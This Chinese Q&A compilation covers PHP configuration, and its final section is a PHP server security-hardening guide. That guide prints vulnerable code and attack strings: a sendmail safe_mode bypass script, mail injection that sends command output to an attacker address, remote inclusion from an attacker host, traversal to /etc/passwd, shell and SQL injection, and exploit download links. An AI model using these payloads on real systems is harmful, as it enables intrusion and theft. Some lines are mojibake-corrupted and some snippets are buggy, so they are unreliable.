❶ php的類怎麼讀取到配置文件裡面的配置項
1、新建一個PHP文檔,該文檔的目的是檢測PHP的環境配置,示例:<?php phpinfo()。
❷ php怎麼做一個公共配置文件啊, require引入後, 然後怎麼用啊
PHP的公共配置文件和普通的PHP文件是一樣的,它里邊主要放一些參數的設置比如資料庫的地址用戶名密碼等等。
引用的方法就是使用require或者includ引入,然後這個公共配置文件就會變成現在文件的一部分,也就是說里邊的參數可以直接使用,不用再做任何的聲明和定義。
❸ PHP學習系列問題之一:怎樣配置PHP環境
首先說一下我用的軟體版本。PHP 5.1.6APACHE 2.0.59(注意:APACHE 2.2.X版本以上要增加插件才支持PHP 5的)MYSQL 5.0.24a 好了,現在開始安裝,我先裝的php5,直接解壓文件到C:\php(安裝到哪裡並不會有影響,憑個人喜號,本文中的所有路徑都以我的安裝路徑,請大家在自己的機器上安裝的時候注意修改為自己的路徑),接著安裝APACHE,我直接把它裝到C盤根目錄下,在安裝過程中,會出現3個文本框,上面兩個輸入你的本機IP,最下面的輸入你的EMAIL,好的。安裝完畢。現在編輯..\Apache Group\Apache2\conf\下的httpd.conf文件。用記事本打開該文件,在最後添上這兩行代碼:LoadMole php5_mole "C:/php/php5apache2.dll" AddType application/x-httpd-php .php 我在C:\目錄下建立了一個www的目錄用於存放我的站點文件,在httpd.conf里找到這樣一句話:DocumentRoot "C:/Apache2/htdocs"改成了DocumentRoot "C:/www"。這樣,就將主目錄設置成了C:\www。如果你不想更改主目錄位置,可以不更改此項。 修改目錄的默認首頁: 找到DirectoryIndex 後面寫上你想設置為首頁的文件名,如:index.html index.php等。 語言優先順序,找到下列語句LanguagePriority zh-CN zh-TW en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv 把中文(zh-CN zh-TW)的部分剪切放到前面(也就是將原來文件中的相應部分改成如上的。其他也沒什麼好改動的。APACH的配置就到這里。接著講PHP的配置。把php.ini-dist復制到C:\windows 下改名為 php.ini(裝過php的都做過吧)然後修改了幾個地方:在Data Handling下找到post_max_size = 8M這是PHP將接受的POST數據最大大小,可更改為20M。在Paths and Directories下找到extension_dir=這里設置的是PHP搜索擴展庫的位置,將其路徑設為extensions文件夾的位置,即改成:extension_dir= "C:\php\ext"在File Uploads下找到upload_max_filesize = 2M,允許上傳的的最大文件大小可更改為20M。Dynamic Extensions這里是PHP擴展設置部分,列出了PHP所有的可支持擴展,前面都加了分號注釋,表示目前PHP配置不支持擴展,我們可以將分號去掉讓PHP支持該擴展下面列出的是幾個常用且較實用的PHP擴展把下面幾句前面的分號去掉 ;extension=php_mbstring.dll;extension=php_dba.dll ;extension=php_dbase.dll ;extension=php_filepro.dll ;extension=php_gd2.dll ;extension=php_imap.dll ;extension=php_mysql.dll 到這里php.ini就配置結束。接著很重要的一點將C:\PHP\libmysql.dll,C:\PHP\ext\php_mysql.dll,C:\PHP\ext\php_mysqli.dll拷貝到C:\Windows\system32下,這樣PHP5才能支持MYSQL。哇靠,,居然不夠寫,繼續重起APACHE,在主目錄下新建一個記事本文件test在裡面輸入<?phpphpinfo();?>保存後修改後綴名為PHP。在瀏覽器輸入 http://127.0.0.1/test.php是不是看到PHP版本信息,沒錯,這樣PHP的配置就完成了。接下來安裝MYSQL。第一步:雙擊.exe文件出現的第一個需要選擇的對話框是Setup Type 也就是安裝種類,這里我們可以選擇Custom,根據自己的需要來安裝組件和配置安裝路徑點擊Next,右鍵點擊對話框出現幾個硬碟形狀的圖標,根據自己的需要選擇安裝組件,點擊窗口右下的Change按鈕更改安裝路徑的,設置好後,點擊Next開始安裝安裝到最後會有如下一個對話框在這里的三個選項分別是:1:如果你沒有MYSQL.com帳戶,選第一個,創造一個新的免費的MYSQL.com帳戶2:如果你有MYSQL.com帳戶,選第二個,填入已經注冊好的郵箱名和密碼3:跳過此步驟我們選第一個接下來會一次出現三個對話框,在三個對話框中有* 號的部分是必須要填的,按順序分別是郵箱名,密碼,確認密碼;first name ,last name;郵政編碼,國家,省名。國家名選china,省名選other or N/A即可4.1.x和4.0.x系列版本很大一個區別就是在安裝完畢後不是運行 mysql文件夾下面的winmysqladmin.exe來啟動伺服器後設置選項,而是有一個設置的過程。第二步:設置MYSQL首先你會看到這樣的一個窗口,這里有兩個選項,分別是詳細配置和標准配置,小型應用選第二項就可以了點擊Next後出現下面的對話框,這里是重要的,一定要在下拉菜單里選擇MySQL41,否則不能正常啟動,下面的選項是是否應用命令行,最好選上點擊Next後設置資料庫密碼的對話框,中間偏右和下面的選項分別是是否允許遠程式控制制和是否允許匿名帳號登入,為了安全,不要選擇好了,點擊Next後出現最後的對話框,點擊Execute按鈕資料庫伺服器便啟動了,依次出現四個對號後點擊Finish結束安裝 裝上PHPMYADMIN後測試連接,若出現#1251 - Client does not support authentication protocol requested by server; consider upgrading MySQL client 在開始菜單找到剛剛安裝的MYSQL命令行工具,輸入root的密碼後鍵入如下的字樣:mysql> UPDATE mysql.user SET Password = OLD_PASSWORD(『剛才設置的ROOT密碼』) -> WHERE Host = 'localhost' AND User = 'root'; mysql> FLUSH PRIVILEGES;(注意FLUSH後有空格)然後瀏覽「 http://localhost/phpmyadmin」,OH YEAH! 測試成功! 在談一下關於MYSQL 4.1以後由於採用UTF8導致的亂碼問題解決辦法。首先注意一點,在新建資料庫的時候字元集一定要選擇UTF8,在PHPMYADMIN中新建資料庫下,創建按鈕的左邊,有個下拉列表,默認是「整理」,選擇UTF8。你會發現表裡數據不在是問號了。但是網頁的輸出還是問號,不要急接著在PHP語句中要有所改動:在mysql_connect(…連接參數);後加上mysql_query("SET NAMES 'GBK'");但是如果網頁很多,這樣不是很麻煩,所以我在編寫PHP時將所有資料庫的操作寫成一個類如:class db{….包含一些資料庫調用方法…. //創建資料庫連接並選擇相應資料庫 function createcon(){ mysql_connect(…);mysql_query("SET NAMES 'GBK'");}}這樣,改動一處就可以了,是不是很方便
❹ PHP如何動態修改配置文件
php中修改php配置文件(php.ini)的函數主要有四個函數:ini_get、ini_set、ini_get_all、ini_restore。其中ini_set和ini_get比較常用,下面分別做介紹。
(1)ini_get()
用來獲取配置文件的選項值.
這個函數相信很多人都使過,就是獲取配置文件中某一個選項的值,如果是true值就返回1,如果是false值就返回0,字元串就返回字元串。
php手冊中的例子:
<?php
echo 'post_max_size = ' . ini_get('post_max_size') . "\n";//最多能提交的文件大小
echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . "\n";
echo 'display_errors = ' . ini_get('display_errors') . "\n"; //顯示錯誤是否打開
echo 'register_globals = ' . ini_get('register_globals') . "\n";//全局變數是否打開
?>
輸出:
display_errors = 1
register_globals = 0
post_max_size = 8M
post_max_size+1 = 9
這個函數主要是為了獲取配置文件,可以方便很多操作。比如想操作字元串過濾,但是又不清楚magic_quotes_gpc有沒有打開,所以就可以這樣寫一個函數:
function stringFilter($str)
{
if (ini_get('magic_quotes_gpc)') {
return $str;
} else {
return addslashes($str);
}
}
當然,如果無法知道的全局變數是否打開,也可以定製這樣的函數:
function getGetVar($var)
{
if (ini_set('register_gobals')) {
return $var;
} else {
return $_GET['var'];
}
}
當然,可以做很多用途,自己慢慢體會。
(2)ini_set函數
設置php.ini中的某些變數值.
這個函數是設置選項中的值,在執行函數後生效,腳本結束的時候,這個設置也失效。不是所有的選項都能被改函數設置的。具體那些值能夠設置,可以查看手冊中的列表。
就是能夠設置php.ini中的選項值比如,display_error選項關閉了,但是要顯示程序中的錯誤信息,方便調試程序,那麼就可以使用這個函數:
ini_set("display_errors", "On");
那麼在這個頁面的程序都會顯示錯誤信息了,而且還可以使用error_reporting來設置顯示的錯誤信息級別。
如果需要增加腳本執行時間,那麼可以設置:
ini_set("max_execution_time", "180");
那麼腳本執行時間就由默認的30秒變為180秒,當然,你也可以使用set_time_limit()來設置。
其實把ini_set和ini_get結合使的話,非常好。比如想在配置文件里添加自己的包含文件路徑,但是有沒有許可權更改php.ini,那麼可以結合兩個函數:
ini_set('include_path',ini_get('include_path').':/your_include_dir:');
(3)ini_get_all
獲取所有的設置選項變數
把所有選項值以數組的形式返回,方便當phpinfo()無法使用的時候來使用。
手冊例子:
<?php
$inis = ini_get_all();
print_r($inis);
?>
部分輸出值:
Array
(
[allow_call_time_pass_reference] => Array
(
[global_value] => 1
[local_value] => 1
[access] => 6
)
[allow_url_fopen] => Array
(
[global_value] => 1
[local_value] => 1
[access] => 7
)
...
)
(4)ini_restore
恢復配置文件默認的值
就是恢復配置文件默認的值,當你使用ini_set設置後可以使用它來恢復。
❺ 在php中如何設置類的屬性,如何調用類的方法
PHP訪問類的屬性、方法使用箭頭語法(->)。這里我給你一個例子供你參考:
<?php
classMyClass{//定義MyClass類
public$name;//定義了一個公有屬性
protected$_age;//定義了一個保護屬性
private$_email;//定義了一個私有屬性
publicfunctionmy_method(){//定義my_method方法
}
protectedfunction_my_method2(){//定義_my_method2方法
}
}
$obj=newMyClass;//實例化
$obj->name='noname';//設置name屬性
$obj->_age=12;//這是錯誤的,不能設置保護屬性
$obj->address='KingStreet.'//設置一個未聲明的屬性是允許的,效果和公有屬性類似,但未賦值前不能使用。
$obj->my_method()//調用公有方法
$obj->_my_method2();//這是錯誤的,不能調用保護方法
你需要理解繼承、公有、保護和私有的概念。
繼承:子類繼承父類的公有、保護屬性和方法。
公有:類的實例可以訪問的屬性和方法。
保護:只能在類的內部及其子類內部訪問的屬性和方法。
私有:只能在類的內部訪問的屬性和方法。
這是個很基礎的問題,建議你多看書。
❻ php如何正確配置
你在本地搭建好了一個 Web 開發環境,通常你需要修改環境的一些設置來達到一些目的,也有可能是 Web 應用要求你去修改某些特定的設置,或者通過修改設置來優化網站的性能。修改 Web 運行環境的設置是通過修改一些配置文件來完成的,比如想要修改 Apache 的配置,你需要找到 httpd.conf 這個文件,想修改 PHP 的設置,一般是 php.ini 這個文件,MySQL 的設置文件通常是 my.cnf 。找到這些文件所在的位置,打開以後,修改對應的選項的值,保存文件,然後重啟 Web 運行環境,這樣就可以完成修改了。
工具/原料
wamp
方法/步驟
我們通過新建一個 php 文件來預覽 php 的相關配置信息。
1. 找到你的文檔根目錄,這個目錄是你的網站應用的發布目錄,或者叫 Web 目錄,也就是只有把網站放在這個指定的目錄里,才能通過瀏覽器打開,這個目錄的位置你也是可以修改的。WAMP 設置的這個目錄的位置是 wamp/www ,MAMP 這個目錄是在 /Applications/MAMP/htdocs 。
2. 找到這個 Web 根目錄以後,在目錄里新建一個擴展台是 php 的文件,命名為 phpinfo.php 。然後用編輯器(Brackets,Sublime... )打開這個新創建的 phpinfo.php 。在這個文件里輸入 <?php phpinfo(); ?> 。然後保存這個文件。
3. 在瀏覽器里打開 phpinfo.php 這個文件,地址應該是 localhost/phpinfo.php ,因為我們是在根目錄下創建的 phpinfo.php 。Mac 用戶如果使用 MAMP,可能需要在地址里加上埠號,localhost:8888/phpinfo.php 。在打開的頁面上你會看到 PHP 配置的相關的信息,php 配置文件所在的位置,版本,php 啟用的模塊等等,仔細的看一下這個頁面上的東西。
在上面,你應該可以找到 PHP 的配置文件所在的位置,也就是 php.ini 這個文件的位置,你可以在打開的 phpinfo.php 頁面上搜索 php.ini ,Loaded Configuration File 這個項目右邊的地址就是當前環境所使用的 php.ini 這個文件的位置。在這里,先找到這個配置文件,然後去修改裡面的幾個設置。
1. 找到當前環境所使用的 PHP 配置文件,php.ini ,這個文件的位置可以在 phpinfo.php 這個頁面上得到。WAMP 可能是在 wamp/bin/apache/Apache2.4.4/bin/php.ini ,這個文件可以使用文本編輯軟體打開。注意文件裡面有很多內容都是注釋,也就是用 ; 號開頭,文字的顏色一般是淺灰色,這些內容只是用來解釋跟提醒,並沒有實際的用處。
2. 搜索 upload_max_filesize ,這個選項可以控制 Web 應用最大的可以上傳的文件的大小,默認應該是 2M ,修改等號右邊的值,改成 512M 或其它任何你想要修改成的那個數字。
3. 搜索 post_max_size,這個選項決定了 PHP 可以接受的發送的最大的數據,默認它的值是 8M,把這個值改的大一些,可以跟 upload_max_filesize 的值一樣。
4. 搜索 memory_limit ,這個選項跟腳本最多可以使用的內存有關,把這個值改的大一些,比如 512M。
5. 搜索 max_execution_time,執行解析腳本允許的最大的時間,單位是秒,有些應用需要讓這個值大一些,這里我們可以改成 120 。
6. 保存所修改的 php.ini 文件,關掉它,然後重新啟動 Web 運行環境,WAMP 和 MAMP 都提供了一個界面,點一下對應的按鈕就可以重新啟動環境了。這樣環境就會載入修改以後的 php.ini 文件。
7. 再打開 phpinfo.php 這個頁面,然後搜索一下剛才修改的那些 php 的設置,看一下對應的值是不是自己修改之後的值,如果是,證明修改成功,如果跟修改以後的值不一樣,確定自己打開了正確的 php.ini 文件。
❼ php安全配置 如何配置使其更安全
一、Web伺服器安全
PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = [email protected]
都是針對Win32平台,所以需要在chroot環境下調整好sendmail。
二、PHP本身問題
1、遠程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、遠程拒絕服務
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
執行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]
這將id執行的結果發送給[email protected]。
對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:
<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
三、PHP本身的安全配置
PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。
如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。
如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定義目錄:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:
<?include("index.html")?>
幾個文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在瀏覽器請求test.php會提示如下的錯誤信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。
如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:
safe_mode_gid = On
設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:
safe_mode_exec_dir = /usr/local/php/exec
然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。
safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。
從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。
指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。
safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。
注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!
safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。
雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。
討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。
2、變數濫用
PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1
這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361
PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。
解決方法:
配置文件php.ini設置register_globals = Off。
要求程序員對作為判斷的變數在程序最開始初始化一個值。
3、文件打開
極易受攻擊的代碼片斷:
<?
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下請求可以讀php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。
解決方法:
如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免這種問題,前面已經討論過了。
4、包含文件
極易受攻擊的代碼片斷:
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,http://attack/attack.txt的內容是<?passthru("ls /etc")?>,那麼如下的請求就可以在目標主機執行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:
<?
//test_4.php
include("$lib/config.php");
?>
攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。
解決方法:
要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。
如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:
allow_url_fopen = Off
重啟apache。
5、文件上傳
php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)
$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型
推薦使用:
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
這是一個最簡單的文件上傳代碼:
<?
//test_5.php
if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>
這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:
http://victim/test_5.php?upload= ... ile_name=attack.txt
然後可以用如下請求讀取口令文件:
http://victim/test/attack.txt
攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。
解決方法:
PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。
把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於操作泄漏源碼。
嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>
重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。
6、命令執行
下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。
攻擊者輸入如下請求可以執行cat /etc/passwd命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。
解決方法:
要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。
啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。
7、sql_inject
如下的SQL語句如果未對變數進行處理就會存在問題:
select * from login where user=$user and pass=$pass
攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。
不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
從而避免了此類sql_inject攻擊。
對於數字類型的欄位,很多程序員會這樣寫:
select * from test where id=$id
由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。
解決方法:
要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。
8、警告及錯誤信息
PHP默認顯示所有的警告及錯誤信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。
修改php.ini中關於Error handling and logging部分內容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。
9、disable_functions
如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。
10、disable_classes
這個選項是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf里設置,只能在php.ini配置文件里修改。
11、open_basedir
前面分析常式的時候也多次提到用open_basedir對腳本操作路徑進行限制,這里再介紹一下它的特性。用open_basedir指定的限制實際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結束路徑名。例如:"open_basedir = /dir/incl/"。
可以設置多個目錄,在Windows中,用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模塊時,父目錄中的open_basedir路徑自動被繼承。
四、其它安全配置
1、取消其它用戶對常用、重要系統命令的讀寫執行許可權
一般管理員維護只需一個普通用戶和管理用戶,除了這兩個用戶,給其它用戶能夠執行和訪問的東西應該越少越好,所以取消其它用戶對常用、重要系統命令的讀寫執行許可權能在程序或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
